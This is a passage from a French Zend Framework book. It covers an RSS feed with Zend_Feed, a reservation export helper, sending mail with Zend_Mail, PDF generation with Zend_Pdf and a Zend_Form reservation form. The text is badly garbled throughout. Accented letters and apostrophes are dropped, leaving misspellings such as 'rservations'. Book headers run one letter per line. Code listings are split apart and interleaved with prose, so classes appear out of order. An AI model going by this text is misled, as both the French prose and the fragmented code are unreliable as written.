contrleur se chargera dappeler tour tour setClass() et handle().
Voici lextrait de WebserviceController qui concerne notre flux RSS :
<?php
/**
* Classe de gestion des flux
*/
class Zfbook_Feed
{
/**
* @var Zend_Feed_Abstract
*/
private $_feed = null;
public function setClass($class)
{
$server = new $class;
$this->_feed = Zend_Feed::importArray(
$server->getRssArray(),
'rss');
}
public function handle()
{
if (!($this->_feed instanceof Zend_Feed_Abstract)) {
throw new Zfbook_Feed_Exception("Feed unknown");
}
$this->_feed->send();
}
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
232
Action RSS dans WebserviceController
La classe Zfbook_Feed_Exception est simplement une classe vide qui
tend Zfbook_Exception et permet de lancer une exception personnalise
relative notre composant.
Il ne nous reste plus qu crer la classe Zfbook_Reservation_RssServer
de manire ce quelle soit traite par notre objet Zfbook_Feed. Afin de
gnraliser la cration de classes fournissant des donnes pour un flux
RSS par exemple, pour fournir un flux de nouvelles salles ou dutilisa-
teurs, nous prenons soin de mettre en place une interface adapte :
Interface pour la cration de classes de flux
Enfin, il ne nous reste plus qu crer la classe de flux RSS pour les rser-
vations avec une mthode getRssArray() telle que mentionne dans
linterface. Cette mthode doit renvoyer un tableau PHP contenant les
donnes ncessaires la gnration du flux RSS par Zend_Feed.
Classe de flux RSS pour les rservations
// Nous sommes quelque part dans WebserviceController
public function rssAction()
{
$this->_server = new Zfbook_Feed();
}
<?php
/**
* Interface pour la mise en place de classes de flux
*/
interface Zfbook_Feed_Interface
{
/**
* Retourne un tableau charger pour un flux RSS
*/
public function getRssArray();
}
<?php
/**
* La classe soap frontale de lAPI
*/
class Zfbook_Reservation_RssServer
extends Zfbook_Reservation_Server
implements Zfbook_Feed_Interface
{
public function getRssArray()
{
$rss = array(
'title' => 'Reservations',
'link' => 'http://html.zfbook/webservice/rss',
1
2


I
n
t
e
r
o
p

r
a
b
i
l
i
t


e
t

s
e
r
v
i
c
e
s

w
e
b
Groupe Eyrolles, 2008
233
Nous remarquons, dans son implmentation, que cette classe tend
Zfbook_Reservation_Server de manire disposer de la mthode
getReservations() utilise par tout service web. De plus, linterface
Zfbook_Feed_Interface oblige la classe disposer dune mthode
getRssArray(). Le tableau construit ici est volontairement minimal. Il
permet la gnration dun flux RSS contenant quelques donnes sur les
rservations. Libre vous de le complter laide de la documentation
officielle de Zend_Feed.
'charset' => 'utf-8'
);
$reservations = $this->getReservations(
'2008-08-01 00:00:00', '2100-01-01 00:00:00'
);
foreach ($reservations as $reservation)
{
$entry = array();
$entry['title'] = $reservation['usage'];
$entry['link'] = 'http://html.zfbook/reservation/edit/r/' . $reservation['id'];
$entry['description'] = 'Room ' . $reservation['id_room'] . ' from '
. $reservation['date_begin'] . ' to '
. $reservation['date_end'];
$rss['entries'][] = $entry;
}
return $rss;
}
}
Figure 1210
Le flux RSS gnr
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
234
La figure 12-10 illustre le rsultat dun appel laction RSS. Il sagit bien
dun flux XML interprt comme du RSS par le navigateur.
Une dernire tape, optionnelle mais utile pour vos visiteurs, consiste
insrer un lien vers votre flux dans len-tte de vos pages HTML. Cela
permettra un accs facilit sur toutes les pages de lapplication.
Ajout dun lien vers le flux dans len-tte de la page (layout.phtml)
Le composant Zend_View prvoit linsertion de balises HTML link
alternate, trs utilises pour mettre en place ce lien vers un flux de don-
nes. La figure 12-11 montre la balise HTML gnre et lavertisse-
ment de la prsence dun flux RSS dans Firefox.
<head>
...
<?php echo $this->headLink()->setAlternate(
$this->link('webservice', 'rss'),
'application/rss+xml',
$this->translate('Liste des rservations'));
?>
...
</head>
Figure 1211
Ajout dun lien alternate
pour le flux RSS
1
2


I
n
t
e
r
o
p

r
a
b
i
l
i
t


e
t

s
e
r
v
i
c
e
s

w
e
b
Groupe Eyrolles, 2008
235
En rsum
En matire dinteroprabilit, Zend Framework na pas loup le coche et
propose de vritables solutions. Zend_XmlRpc, Zend_Feed, Zend_Soap et
Zend_Rest permettent de crer des serveurs de services web sur les tech-
nologies les plus courantes, mais aussi de crer des clients capables de les
consommer.
Allez plus loin, et voyez toute la panoplie Zend_Service_* qui permet de
profiter des services connus, comme ceux dAmazon, Yahoo, Technorati
ou encore SlideShare. Sans parler de lextraordinaire potentiel offert par
le composant Zend_GData : peu prs tous les services web de Google y
sont prsents, et son code source est mis au point par des employs de
Google, en partenariat avec Zend... un vrai rgal !
Groupe Eyrolles, 2008
chapitre 13
Groupe Eyrolles, 2008
Autres composants utiles
Envoyer des mails, gnrer des fichiers PDF, grer
des formulaires... quand des fonctionnalits difficiles utiliser
en temps normal savrent simples grce lemploi de certains
outils, pourquoi sen priver ? Grce la programmation
oriente objet et Zend Framework, nous disposons
de multiples composants prts lemploi .
SOMMAIRE
BEnvoyer des mails simplement
BGnrer des fichiers PDF
BGrer des formulaires
COMPOSANTS
BZend_Mail
BZend_Pdf
BZend_Form
BZend_*
MOTS-CLS
Bmails
BPOP
BSMTP
BPDF
Bformulaire
Bfiltre
Bvalidateur
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
238
Les composants que prsente ce chapitre sont utiles et vous feront
gagner du temps. Cela vaut la peine de connatre leur existence et de
savoir comment les utiliser. En plus de quelques explications dtailles
sur Zend_Mail, Zend_Pdf et Zend_Form, ce chapitre vous clairera sur les
composants Zend que nous navons pas encore abords dans cet ouvrage.
Ces quelques composants apportent des fonctionnalits supplmentaires
ou permettent de simplifier et organiser certaines oprations. Plusieurs
dentre eux sont dtaills ici : Zend_Mail et Zend_Pdf apportent des outils
pour manipuler respectivement des e-mails et des fichiers PDF, tandis
que Zend_Form offre un cadre pour la gestion de formulaires.
Prparation de larchitecture
Avant dintroduire les fonctionnalits, nous allons mettre en place une
architecture base sur une aide daction.
Ce chapitre est dcoup en deux parties : la partie composants (library)
et la partie MVC.
Les composants (library)
Laccs aux fonctions dexport (PDF, CSV) et lenvoi du rapport par e-mail
sera assur par lintermdiaire dune aide daction (action helper). La
figure 13-1 illustre les classes qui seront mises en uvre pour notre besoin.
RENVOI Aides daction
Si les aides daction ne vous ont pas familires,
reportez-vous aux chapitres 6 et 7 sur MVC.
Figure 131
Architecture de laide daction
ExportReservation
1
3


A
u
t
r
e
s

c
o
m
p
o
s
a
n
t
s

u
t
i
l
e
s
Groupe Eyrolles, 2008
239
La classe principale de laide daction sappelle Zfbook_Controller_
ActionHelpers_ExportReservations. Il est possible de modifier le rper-
toire pour viter davoir un nom rallonge. Dans notre exemple, nous
resterons dans lemplacement conseill pour ce type dobjet. Notre classe
comporte la mthode direct(), requise par laide daction, et une
mthode _build() destine crer des objets dexport (PDF, CSV, etc.),
qui implmentent obligatoirement linterface Zfbook_Controller_
ActionHelpers_ExportReservations_Interface. En rsum, voici les
rles des classes crer :
Zfbook_Controller_ActionHelpers_ExportReservations est la classe
de laide daction. Il sagit dun monteur (builder) qui charge la classe
dexport utiliser (mthode _build()) et excute lopration dexport
(mthode direct()) ;
Zfbook_Controller_ActionHelpers_ExportReservations_Interface
oblige les classes dexport CSV, PDF et mail possder les mthodes
getMimeType() et getContent() utilises par laide daction ;
Zfbook_Controller_ActionHelpers_ExportReservations_Abstract
est la classe mre des classes dexport. Elle contient le code commun
de lensemble des classes dexport, notamment le constructeur qui
rcupre la liste des rservations exporter ;
Zfbook_Controller_ActionHelpers_ExportReservations_Csv est la
classe dexport au format CSV. Cette classe utilisera simplement
Zfbook_Convert_Csv pour la conversion (voir chapitre 15) ;
Zfbook_Controller_ActionHelpers_ExportReservations_Mail assure
lenvoi de le-mail contenant la liste des rservations ;
Zfbook_Controller_ActionHelpers_ExportReservations_Pdf assure
la cration du flux PDF pour lexport dans ce format.
La classe du plugin ExportReservation
<?php
/**
* Aide daction qui gre les exports
*/
class Zfbook_Controller_ActionHelpers_ExportReservations
extends Zend_Controller_Action_Helper_Abstract
{
public function direct($format = 'pdf')
{
$exportObject = $this->_build($format);
$this->getActionController()
->getResponse()
->setHeader('Content-type',
$exportObject->getMimeType());
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
240
Concrtement, la mthode _build() de la classe daide daction cons-
truit le nom de la classe dexport charger partir du format de lexport
pass en paramtre. Puis, quelques vrifications sont effectues telles que
lexistence de la classe et, aprs son instanciation, le contrle du type de
classe. Par hritage, les classes dexport doivent implmenter linterface.
Enfin, lobjet export est retourn.
La mthode _build() est prive, car elle est utilise uniquement par la
mthode direct() situe dans la mme classe. Cette dernire prend en
paramtre le format de lexport raliser, charge lobjet dexport par
lintermdiaire de _build(), puis excute les actions dexport via les
mthodes getMimeType() et des classes dexport.
Interface utilise pour les classes dexport
$this->getActionController()
->getResponse()
->setBody($exportObject->getContent());
}

/**
* Construit un objet dexport (builder)
*/
private function _build($format)
{
$classToBuild = 'Zfbook_Controller_ActionHelpers_ExportReservations_' . ucfirst($format);
if (!class_exists($classToBuild)) {
$msg = "Format de sortie inconnu";
throw new Zfbook_Controller_Exception($msg);
}
$classToBuild = new $classToBuild;
if (!$classToBuild instanceof Zfbook_Controller_ActionHelpers_ExportReservations_Abstract) {
$msg = "Classe d'export incorrecte";
throw new Zfbook_Controller_Exception($msg);
}
return new $classToBuild;
}
}
<?php
/**
* Classe mre des classes dexport
*/
abstract class Zfbook_Controller_ActionHelpers_ExportReservations_Abstract
implements Zfbook_Controller_ActionHelpers_ExportReservations_Interface
{
protected $_resaTab;

1
3


A
u
t
r
e
s

c
o
m
p
o
s
a
n
t
s

u
t
i
l
e
s
Groupe Eyrolles, 2008
241
Comme nous lavons vu prcdemment, la classe abstraite contient un
constructeur qui charge les rservations dans la proprit $_resaTab.
Cette proprit contient donc, dans un tableau, la liste des rservations
exporter. Cette classe implmente linterface de manire obliger les
classes filles hriter de cette implmentation.
Interface des classes dexport
Comme nous pouvons le voir dans linterface, une classe dexport doit
avoir une mthode getMimeType() qui retourne le type des donnes
exporter et une classe getContent() qui retourne les donnes envoyer
dans la sortie standard.
Voyons maintenant quoi ressemble une classe dexport. Un bon
exemple est la classe CSV, qui reste minimale dans la mesure o lalgo-
rithme de gnration des donnes CSV est dj dvelopp dans une
bibliothque part.
/**
* Constructeur, rcupre la liste exporter
*/
public function __construct()
{
$reservationList = new TReservationList();
$this->_resaTab = $reservationList->fetchAll()
->toArray();
}
}
<?php
/**
* Interface de laide dexport de reservations
*/
interface Zfbook_Controller_ActionHelpers_ExportReservations_Interface
{
/**
* Retourne le mime type de lexport
*/
public function getMimeType();

/**
* Rcupre le contenu complet export
*/
public function getContent();
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
242
Classe dexport au format CSV
Nous retrouvons nos deux mthodes dclares dans linterface.
MVC
Pour la partie MVC, rien de bien compliqu. Nous allons mettre en
place une action export, qui fait appel laide daction dcrite prcdem-
ment et sa vue associe.
ReservationController::exportAction()
<?php
/**
* Export en CSV des rservations
*/
class Zfbook_Controller_ActionHelpers_ExportReservations_Csv
extends Zfbook_Controller_ActionHelpers_ExportReservations_Abstract
{
const MIME_TYPE = 'text/csv';
public function getMimeType()
{
return self::MIME_TYPE;
}
/**
* Construit et retourne le flux CSV des rservations
*/
public function getContent()
{
return Zfbook_Convert_Csv::getInstance()
->convertFromArray($this->_resaTab);
}
}
// Nous sommes dans la classe ReservationController
public function exportAction()
{
if ($this->_hasParam('format')) {
$exportType = $this->getRequest()->getParam('format');
$this->_helper->viewRenderer->setNoRender(true);
$this->_helper->layout->disableLayout();
$this->_helper->exportReservations($exportType);
} else {
$title = "Export de la liste des rservations";
$this->view->setTitrePage($title);
}
}
1
3


A
u
t
r
e
s

c
o
m
p
o
s
a
n
t
s

u
t
i
l
e
s
Groupe Eyrolles, 2008
243
Dans cette mthode, si un paramtre format est prcis, on appelle laide
daction aprs avoir dsactiv lappel de la vue et du layout, sinon la page
dexport est simplement affiche avec son titre.
Vue associe laction export (reservation/export.phtml)
Dans cette vue, nous dclarons par avance lensemble des liens dont nous
aurons besoin pour accder aux services dexport. Ces liens sont ajouter
deux des services web (SOAP et REST), sils existent.
Suite cette introduction sur larchitecture, intressons-nous mainte-
nant aux composants eux-mmes...
Zend_Mail : envoi de-mails
Zend_Mail permet de simplifier lenvoi de-mails, mais aussi la lecture
des e-mails depuis un compte POP ou IMAP. Ces oprations seffec-
tuent travers un objet Zend_Mail. Dans nos exemples, nous allons nous
concentrer sur lenvoi de-mails, qui est lopration la plus courante.
Envoyer un simple e-mail
Pour envoyer un e-mail classique, comportant un sujet et un texte, rien
de plus simple avec Zend_Mail. Voici comment procder :
Envoi simple dun e-mail
<h1><?php echo $this->pageTitle; ?></h1>
<p>Actions :</p>
<ul>
<li>
<a href="<?php echo $this->link('reservation', 'export', null, array('format' => 'pdf')); ?>">
<?php echo $this->translate("Exporter les rservations en PDF"); ?></a>
</li>
<li>
<a href="<?php echo $this->link('reservation', 'export', null, array('format' => 'csv')); ?>">
<?php echo $this->translate("Exporter les rservations en CSV"); ?></a>
</li>
<li>
<a href="<?php echo $this->link('reservation', 'export', null, array('format' => 'mail')); ?>">
<?php echo $this->translate("Envoyer un rapport par e-mail"); ?></a>
</li>
</ul>
$mail = new Zend_Mail();
$mail->setSubject('Sujet de mon e-mail');
$mail->addTo('guillaume.poncon@openstates.com');
$mail->send();
RENVOI SOAP et REST
Les services web sont abords au chapitre 12.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
244
Il est galement possible deffectuer nombre dautres oprations utiles
avec Zend_Mail :
configurer le transport ou la connexion SMTP utiliser, avec authen-
tification, si ncessaire ;
utiliser plusieurs transports ;
envoyer un e-mail en HTML ;
attacher des pices jointes ;
contrler les types MIME, les jeux de caractres et les encodages ;
indiquer plusieurs destinataires et contrler les en-ttes.
Figure 132
Diagramme de classes simplifi de Zend_mail
1
3


A
u
t
r
e
s

c
o
m
p
o
s
a
n
t
s

u
t
i
l
e
s
Groupe Eyrolles, 2008
245
Envoyer un e-mail complet
Dans notre application, nous dcidons de mettre en place une action qui
expdie par e-mail la liste des rservations. Les rservations du jour sont
en HTML dans le message, et lensemble des rservations de la base
sont stockes dans un fichier PDF joint au mail.
Notre algorithme de cration de-mail est alors le suivant :
1 crer lobjet e-mail et spcifier le sujet et le destinataire ;
2 extraire la liste des rservations du jour ;
3 effectuer le rendu HTML des rservations extraites laide du tem-
plate views/reservation/report.phtml ;
4 extraire la liste de lensemble des rservations ;
5 construire les donnes CSV ;
6 attacher le fichier CSV le-mail ;
7 envoyer le-mail.
Comme prvu, nous allons mettre en place cet algorithme dans la classe
dexport associe.
Classe dexport utilise pour lenvoi dun e-mail
<?php
/**
* Envoi dun email contenant les rservations
*/
class Zfbook_Controller_ActionHelpers_ExportReservations_Mail
extends Zfbook_Controller_ActionHelpers_ExportReservations_Abstract
{
const MIME_TYPE = 'text/html; charset=utf-8';

public function getMimeType()
{
return self::MIME_TYPE;
}
/**
* Expdie un e-mail avec une liste de rservations
* et retourne un message
*/
public function getContent()
{
// Construction de la liste des rservations en HTML
// Pour le corps du message.
$htmlContent = '<h1>Liste des rservations</h1>';
$htmlContent .= '<table border="1">';
foreach ($this->_resaTab as $key => $item) {
$htmlContent .= '<tr><td>';
unset($item['id_reservation']);
unset($item['id_user']);
unset($item['id_room']);
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
246
Dans la classe getContent(), la premire partie concerne la construction
dun contenu HTML qui na rien de compliqu. tant donn que nous
voulons attacher un document PDF notre e-mail, nous pouvons uti-
liser la classe dexport PDF qui nous permettra de rcuprer le contenu
PDF expdier. Lobjet contenu dans $transport sert simplement
if ($key == 0) {
$htmlContent .= '<b>'
. implode('</b></td><td><b>',
array_keys($item));
$htmlContent .= '</b></td></tr><tr><td>';
}
$htmlContent .= implode('</td><td>',
array_values($item));
}
$htmlContent .= '</td></tr></table>';
// Destinataire
$email = Zend_Auth::getInstance()->getIdentity()
->email;
$name = Zend_Auth::getInstance()->getIdentity()
->firstname
. ' ' . Zend_Auth::getInstance()->getIdentity()
->lastname;
// Plugin PDF pour la pice jointe
$pdfExportPlugin = new Zfbook_Controller_ActionHelpers_ExportReservations_Pdf();
// Transport utiliser pour lenvoi
$transport = new Zend_Mail_Transport_Smtp('smtp.wanadoo.fr');
// Construction de le-mail
$mail = new Zend_Mail('UTF-8');
$mail->setSubject('Liste des rservations')
->setFrom('contact@zfbook.fr', 'ZFBOOK')
->addTo($email, $name)
// Ajout des donnes HTML
->setBodyHtml($htmlContent, 'UTF-8');
// Ajout dun attachement (PDF)
$attachment = $mail->createAttachment(
$pdfExportPlugin->getContent($reservations)
);
$attachment->type = $pdfExportPlugin->getMimeType();
$attachment->filename = 'reservations.pdf';
// Envoi
$mail->send($transport);
return 'Mail sent to ' . $name;
}
}
1
3


A
u
t
r
e
s

c
o
m
p
o
s
a
n
t
s

u
t
i
l
e
s
Groupe Eyrolles, 2008
247
dfinir la mthode de transport. Ici, il sagit dun envoi via le serveur
SMTP de Wanadoo. Il aurait t utile de dfinir ce paramtre dans le
fichier de configuration dans le cadre dune refonte de code. Nous vous
laissons le soin de cette opration raliser avec Zend_Config, titre
dexercice, si vous le souhaitez.
On cre ensuite lobjet Zend_Mail, en prcisant lencodage UTF-8. Cet
objet dispose de plusieurs mthodes permettant dajouter le-mail des
informations telles que le sujet, les destinataires, lexpditeur et le con-
tenu en texte et/ou en HTML. Il est mme possible dy attacher des
fichiers en renseignant leur type et leur contenu, comme cela vous est
montr dans le code source. Enfin, lenvoi se fait avec la mthode
send(), qui peut prendre en paramtre optionnel lobjet transport.
Voil comment utiliser lobjet Zend_Mail qui, comme nous pouvons le
voir, simplifie la cration et lenvoi de-mails. videmment, il est tou-
jours recommand dtudier plus amplement les protocoles utiliss par
Zend_Mail, dans le cas o vous rencontreriez des problmes. Savoir com-
ment tout cela fonctionne reste tout de mme gage de prennit.
Zend_Pdf : crer des fichiers PDF
Zend_Pdf est un composant qui permet de crer ou de modifier des
fichiers PDF. Il est notamment possible dcrire du texte, de dessiner des
formes gomtriques et dajouter des images. Dans lexemple, nous
allons crer un PDF contenant une page de garde et, sur les pages sui-
vantes, la liste des rservations.
Ici aussi, nous allons crer une classe dexport PDF compatible avec
notre architecture. Voici quoi ressemble le contenu de cette classe, que
nous allons commenter par la suite :
Classe dexport en PDF
<?php
/**
* Export en PDF des rservations
*/
class Zfbook_Controller_ActionHelpers_ExportReservations_Pdf
extends Zfbook_Controller_ActionHelpers_ExportReservations_Abstract
{
const MIME_TYPE = 'application/pdf';
public function getMimeType()
{
return self::MIME_TYPE;
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
248
/**
* Construit le PDF contenant la liste des rservations
*/
public function getContent()
{
// Cration dun nouveau document PDF
$pdf = new Zend_Pdf();

// Style par dfaut du document
$style = new Zend_Pdf_Style();
$lineColor = new Zend_Pdf_Color_GrayScale(0.2);
$style->setLineColor($lineColor);
$style->setLineWidth(1);
$helvetica = Zend_Pdf_Font::fontWithName(Zend_Pdf_Font::FONT_HELVETICA);
$style->setFont($helvetica, 18);
// Page daccueil
$pdf->pages[] = ($homePage = $pdf->newPage('A4'));
$font = Zend_Pdf_Font::fontWithName(Zend_Pdf_Font::FONT_HELVETICA_BOLD);
$homePage->setFont($font, 36);
$homePage->drawText('Liste des rservations', 120, 500);
$font = Zend_Pdf_Font::fontWithName(Zend_Pdf_Font::FONT_HELVETICA);
$homePage->setFont($font, 14);
$dateNow = new Zend_Date();
$homePage->drawText('Export du ' . $dateNow , 200, 450);
$homePage->drawRectangle(20, 20, $homePage->getWidth() - 20, $homePage->getHeight() - 20, 0);
$imagePath = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'header.jpg';
$imageHeader = Zend_Pdf_Image::imageWithPath($imagePath);
foreach ($this->_resaTab as $item) {
$pdf->pages[] = ($page = $pdf->newPage('A4'));
$page->drawImage($imageHeader, 20,
$homePage->getHeight() - 220,
$homePage->getWidth() - 20,
$homePage->getHeight() - 20);
$page->drawRectangle(20, 20,
$homePage->getWidth() - 20,
$homePage->getHeight() - 20, 0);
$page->setStyle($style);
$y = 20;
$x1 = 40;
$x2 = 180;
$page->drawText('Salle: ', $x1, $y * 30);
$page->drawText($item['room'], $x2, $y-- * 30);
$page->drawText('Usage: ', $x1, $y * 30);
$page->drawText($item['usage'], $x2, $y-- * 30);
$page->drawText('Date de dbut: ', $x1, $y * 30);
$page->drawText($item['date_begin'], $x2, $y-- * 30);
$page->drawText('Date de fin: ', $x1, $y * 30);
$page->drawText($item['date_end'], $x2, $y-- * 30);
$page->drawText('Crateur: ', $x1, $y * 30);
$page->drawText($item['user'], $x2, $y-- * 30);
}

1
3


A
u
t
r
e
s

c
o
m
p
o
s
a
n
t
s

u
t
i
l
e
s
Groupe Eyrolles, 2008
249
Un objet PDF est instanci avec la classe Zend_Pdf. Cest lui que nous
allons attacher les lments de contenu au fur et mesure de la construc-
tion du fichier.
Un des premiers paragraphes du code ci-dessus concerne la mise en
place des styles par dfaut du document, en utilisant la classe
Zend_Pdf_Style. Le style dfinit les couleurs par dfaut, la taille des l-
ments gomtriques et des textes, ainsi que la fonte du document.
Lobjet Zend_Pdf contient un tableau $pages dont chaque lment repr-
sente une page du document. La cration dune page consiste simple-
ment lajout dun lment dans ce tableau, avec une valeur pouvant tre
cre grce la mthode newPage().
La construction de la page daccueil montre comment insrer des
chanes de caractres via drawText() dans le fichier, ainsi quun cadre
ralis avec la mthode drawRectangle(). Puis, pour chaque page, nous
voulons redessiner le rectangle, ajouter les informations sur la rservation
concerne et insrer une image en haut de page. Linsertion dune image
se fait en instanciant un objet Zend_Pdf_Image puis en appelant la
mthode drawImage() de notre objet page.
Il est noter que les mthodes dinsertion de textes, dimages ou dobjets
gomtriques sont truffes de paramtres de position et de taille. La posi-
tion est relative au coin infrieur gauche de la page. Pour crer des docu-
ments PDF plus simplement, il peut tre judicieux de crer une classe PDF
personnalise qui automatise la gestion de ces positions et de ces tailles.
// Rendu du contenu PDF
return $pdf->render();
}
}
Figure 133
Rsultat de la gnration du document PDF :
page daccueil
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
250
Zend_Form : gnration et gestion de
formulaires
Lemploi de Zend_Form pour la manipulation de formulaires est utile pour
plusieurs raisons :
cest un moyen dhomogniser la manire dont sont grs les formu-
laires, quil sagisse du fond (manipulation des donnes) ou de la
forme (code HTML et styles) ;
les oprations de validation et de filtrage sont gres par Zend_Form,
notamment laffichage des messages derreur, ce qui constitue un
atout considrable.
On peut reprocher Zend_Form la verbosit des nombreux objets Element
paramtrer, et une certaine rigidit au niveau de la forme. En effet, il
nest pas possible de modifier son formulaire avec un diteur
WYSIWYG et la modification de code HTML passe par des dcora-
teurs (souvent des mthodes sur des objets).
Pour notre exemple, nous allons crer un formulaire qui permettra de
crer et de modifier des rservations. Cest laction edit du contrleur
reservation qui grera laffichage du formulaire et le traitement des
donnes.
Figure 134
Rsultat de la gnration du document PDF :
informations sur une rservation
1
3


A
u
t
r
e
s

c
o
m
p
o
s
a
n
t
s

u
t
i
l
e
s
Groupe Eyrolles, 2008
251
Crer un formulaire
Dun point de vue architecture, notre formulaire sera affich par linter-
mdiaire de laction ReservationController::editAction(), et la cra-
tion du formulaire avec Zend_Form sera assure dans une classe part,
Zfbook_Form_Reservation.
Contenu de laction editAction()
Figure 135
Diagramme de classes simplifi de Zend_Form
/**
* dite et enregistre une rservation
*/
public function editAction()
{
// Rcupration des paramtres et de la rservation
// diter si ncessaire.
$params = $this->getRequest()->getParams();
$isUpdate = isset($params['r']);
if ($isUpdate) {
$params['r'] = (int)$params['r'];
// Vrification des droits pour cette rservation
$this->_helper->aclCheck($params['r'], 'editer');
$this->view->setTitrePage("Editer une rservation existante");
$reservation = $this->_reservationTable
->find((int)$params['r'])
->current();
} else {
$this->_helper->aclCheck('reservations', 'ajouter');
$this->view->setTitrePage("Ajouter une rservation");
// Cration dune rservation vide sil sagit
// dun ajout
$reservation = $this->_reservationTable
->createRow();
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
252
La premire partie de cet algorithme consiste rcuprer les donnes par
dfaut du formulaire. Notre mthode gre la cration dune nouvelle
rservation et ldition dune rservation existante. On trouve galement
dans cet algorithme des appels aux ACL et au cache, mais nous nabor-
derons pas ces aspects ici.
La ligne qui nous intresse est celle de la construction du formulaire avec
la classe Zfbook_Form_Reservation que nous dtaillerons par la suite.
Lobjet cr reprsente notre formulaire, auquel nous associons des para-
mtres tels que laction, la mthode et les valeurs par dfaut. En dautres
termes, la classe Zfbook_Form_Reservation ne fait que fournir un objet
formulaire vide de donnes et de paramtres.
// Cration du formulaire et dclaration des
// paramtres gnraux
$form = new Zfbook_Form_Reservation();
$form->setAction($this->view->link('reservation', 'edit', null, '', 'default', !$isUpdate))
->setMethod('post')
->setDefaults($reservation->toArray());
// Cration du formulaire et ajout/suppression
if ($this->getRequest()->isPost() && $form->isValid($_POST)) {
// Retrait des informations depuis les donnes en POST
// et ajout dans le modle.
$values = $form->getValues();
$values['creator'] = Zend_Auth::getInstance()->getIdentity()->id;
$reservation->setFromArray(array_intersect_key($values, $reservation->toArray()));
// Sauvegarde des informations
$reservation->save();
// Sauvegarde des ACL concernant cette salle
if (!$isUpdate) {
$this->_helper->aclCheck->acl->add(new Zend_Acl_Resource($reservation->id));
}
$this->_helper->aclCheck->acl->allow('user', $reservation->id);
// Cette action modifie la liste des rsultats :
// suppression du cache pour mise jour
Zfbook_Cache::clean('reservations');
// Redirection vers la liste des rservations
$this->_redirect($this->view->url(array(), 'reservations'), array('prependBase' => false));
}
// Assignation du formulaire pour affichage
$this->view->form = $form;
}
1
3


A
u
t
r
e
s

c
o
m
p
o
s
a
n
t
s

u
t
i
l
e
s
Groupe Eyrolles, 2008
253
La suite de lalgorithme concerne lenregistrement des donnes envoyes
par le formulaire via lobjet TReservation. Enfin, le formulaire est
envoy la vue.
Vue reservation/edit.phtml associe la mthode editAction()
Comme nous pouvons le voir, la vue associe au formulaire est extrme-
ment simple. La gnration du formulaire consiste simplement faire un
echo de notre objet Zend_Form. Cest cet objet que nous devons nous
intresser maintenant.
Classe de construction du formulaire
<h1><?php echo $this->pageTitle; ?></h1>
<div id="reservationform"><?php echo $this->form; ?></div>
<?php
/**
* Formulaire de rservation
*/
class Zfbook_Form_Reservation extends Zend_Form
{
/**
* Initialisation du formulaire (mthode obligatoire)
*/
public function init()
{
$roomModel = new TRoom();
$rooms = $roomModel->fetchAll();
$roomsTab = array();
$placeString = 'places';
foreach ($rooms as $room) {
$roomsTab[$room->id] = $room->name . ' (' . $room->capacity . ' ' . $placeString . ')';
}

// Liste droulante des salles (mthode avec setters)
// dclaration, options, validateurs et filtres
$roomSelect = new Zend_Form_Element_Select('id_room');
$roomSelect->setMultiOptions($roomsTab);
$roomSelect->setLabel($this->getTranslator()->translate("Salle :"));
$roomSelect->setRequired(true);
$roomSelect->addValidator(new Zend_Validate_Int());
$this->addElement($roomSelect);
// Champ texte "usage" (mthode simple avec setters)
$usage = new Zend_Form_Element_Text('usage');
$usage->addFilter(new Zfbook_Filter_StripSlashes());
$usageValidators = array(new Zend_Validate_StringLength(0, 25));
$usage->addValidators($usageValidators);
$usage->setLabel($this->getTranslator()->translate("Utilisation :"));
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
254
Cette classe tend Zend_Form et construit le formulaire dans la mthode
obligatoire init() qui est appele automatiquement. Un objet Zend_Form
est compos de plusieurs objets Zend_Form_Element_* qui constituent le
formulaire. Ces objets sont construits dans la mthode init(). Dans
notre exemple, nous avons donc :
une liste droulante contenant les salles ($roomSelect) ;
trois champs texte : le champ usage et les dates de dbut et de fin ;
un bouton de validation ;
un jeton, champ invisible permettant dassurer une scurit primaire
anti-CSRF (le chapitre 11 vous renseignera sur ce terme).
Chaque champ du formulaire est dclar avec des options. Pour cons-
truire un champ, il existe deux mthodes, qui sont utilises titre
dexemple dans notre script :
construire lobjet Zend_Form_Element_*, lui assigner les options, puis
lattacher au formulaire avec la mthode $this->addElement() (liste
droulante des salles et champ usage) ;
$usage->setRequired(true);
$this->addElement($usage);

// Paramtres de dates
$datePattern = 'YYYY-MM-DD HH:mm:ss';
$dateValidator = new Zend_Validate_Date($datePattern, 'fr_FR');
// Champ date de dbut
$options = array();
$options['label'] = $this->getTranslator()->translate("Du :");
$options['validators'] = array($dateValidator);
$options['required'] = true;
$options['filters'] = array(new Zfbook_Filter_StripSlashes());
$this->addElement('text', 'date_begin', $options);
// Champ date de fin
$options['label'] = $this->getTranslator()->translate("Au :");
$this->addElement('text', 'date_end', $options);

// Bouton de validation
$submitButton = new Zend_Form_Element_Submit('submit_reservation');
$submitButton->setLabel($this->getTranslator()->translate("Valider"));
